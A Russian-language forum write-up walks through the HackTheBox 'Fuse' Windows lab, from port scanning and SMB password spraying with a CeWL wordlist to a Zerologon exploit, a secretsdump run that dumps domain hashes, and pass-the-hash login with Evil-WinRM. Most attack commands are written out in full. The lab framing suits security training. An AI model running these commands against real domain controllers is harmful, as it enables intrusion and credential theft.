• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

CTF Zerologon и Active Directory! HackTheBox Fuse Windows (Уровень: Средний)

logo.jpg

Приветствую!

Продолжаем проходить лаборатории и CTF с сайта HackTheBox! В этой лаборатории мы разберём машину Fuse (Windows).
Сегодня мы научимся применять разведку в Active Directory, а так же рассмотрим Zerologon exploit! Начинаем) ;)

Данные:

Задача: Скомпрометировать машину на Windows и взять два флага user.txt и root.txt
Основная рабочая машина: Kali Linux 2021.4
IP адрес удаленной машины - 10.10.10.193
IP адрес основной машины - 10.10.14.21

Начальная разведка и сканирование портов:

Не будем идти по классике сканирования nmap'ом, а попробуем что-то новенькое и это... Masscan:

Masscan - это массовый сканер IP портов. Это самый быстрый сканер Интернета.

С его помощью мы быстро определим открытые порты на машине:

masscan -p1-65535,U:1-65535 10.10.10.193 --rate=500 -e tun0

В параметре -p передаём диапазон портов для сканирования, в параметре -U - диапазон upd портов, --rate указываем количество пакетов в секунду, а последний параметр -e указывает наш интерфейс:

1643738781108.png


Получаем достаточно большое количество портов...o_O
Хорошо, видим самые важные для нас порты: 80/tcp (web), 88/tcp (kerberos), 135/tcp (rpc), 445/tcp (smb) и ещё несколько.
Просканируем их с помощью nmap:

nmap -sC -sV 10.10.10.193 -p 53,80,88,135,445,3269,3268,5985,9389

Указываем параметр:
-sC - Для применения дефолтных (по умолчанию) скриптов к сканированию.
-sV - Для сканирования версий служб, в сторону которых мы сможем позже применить уязвимости и CVE.
-p - Указываем наши порты.

1643739393614.jpeg


Видим доменное имя, добавим его в /etc/hosts:

echo '10.10.10.193 fabricorp.local' >> /etc/hosts

Теперь перейдем на сайт:

1643739485110.png


На сайте висит домен fuse.fabricorp.local, тоже добавляем его в хосты.
Принтеры... Давайте поищем информацию на сайте, на вкладке HTML нажмем на View:

1643739560811.png


Видим пользователей, полазим по этим трём ссылкам и соберем их имена в файл users.txt:

1643739647224.png


Все юзеры которых мы смогли найти на сайте, теперь давайте попробуем дополнить список и запустим Enum4linux:

enum4linux -a 10.10.10.193

К сожалению, он так ничего и не смог найти. Тогда давайте попробуем подобрать пароли к пользователям, будем использовать CrackMapExec:

crackmapexec smb -u users.txt -p users.txt --shares 10.10.10.193

1643739957231.png


Опять ничего... Теперь очередь испытать Cewl:

Cewl - это утилита собранная на Ruby, которая просматривает указанный URL-адрес до указанной глубины и возвращает вордлист (список).

cewl http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers > passwords.txt

Укажем его с параметром --with-numbers который будет принимать слова в которых есть числа также, как и слова просто из букв.

1643740328077.png


Получаем список паролей для брута, повторим эксперимент с CrackMapExec:

crackmapexec smb -u users.txt -p passwords.txt --shares 10.10.10.193 --continue-on-success

Здесь параметр --continue-on-success продолжает работу брутфорса в случае удачи, а не останавливает его.
Брутфорс займет значительное время, поэтому запасёмся терпением и :coffee: ожидая окончания.

Получение пользователя:

1643740753093.png


Среди неудач видим странный статус логина... Написано что нужно поменять пароль пользователю bhult, давайте сделаем это, применив здесь команду smbpasswd:

smbpasswd -r 10.10.10.193 bhult

Флажком этой команды выступает -r он указывает удаленную машину (remote).
Нас просят вставить старый пароль, выставляем - Fabricorp01.
Новый пароль сделаем - ASDASDqwe1!@ и повторим его:

1643741271864.png


Мы успешно сменили пароль этому пользователю, видим перед собой SMB папку NETLOGON.
Из результатов сканирования CrackMapExec мы знаем NetBIOS имя - FUSE.

Эксплоит и получение флагов:

Давайте попробуем использовать уязвимость Zerologon:

Zerologon - уязвимость в криптографии протокола Microsoft Windows Netlogon, которая делает возможной атаку на контроллеры доменов Microsoft Active Directory, позволяя злоумышленнику выдать свои действия за действия любого компьютера.
С её помощью мы сбросим NTLM-хэш администратора и будем действовать!

Запустим Metasploit и его модуль auxiliary/admin/dcerpc/cve_2020_1472_zerologon:

1643742057034.jpeg


Ура! У нас получилось, теперь используя impacket-secretsdump узнаем все хэши на тачке:

secretsdump.py -no-pass -just-dc fabricorp.local/FUSE\$@10.10.10.193

1643742545117.png


Теперь атакой Path-The-Hash через Evil-WinRM зайдём под администратором:

./evil-winrm.rb -i 10.10.10.193 -u Administrator -H '370ddcf45959b2293427baa70376e14e'

1643742621078.png


Мы Администратор! Выведем два флага:

1643742793007.png


Огромное спасибо за чтение, скоро буду;)
 
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!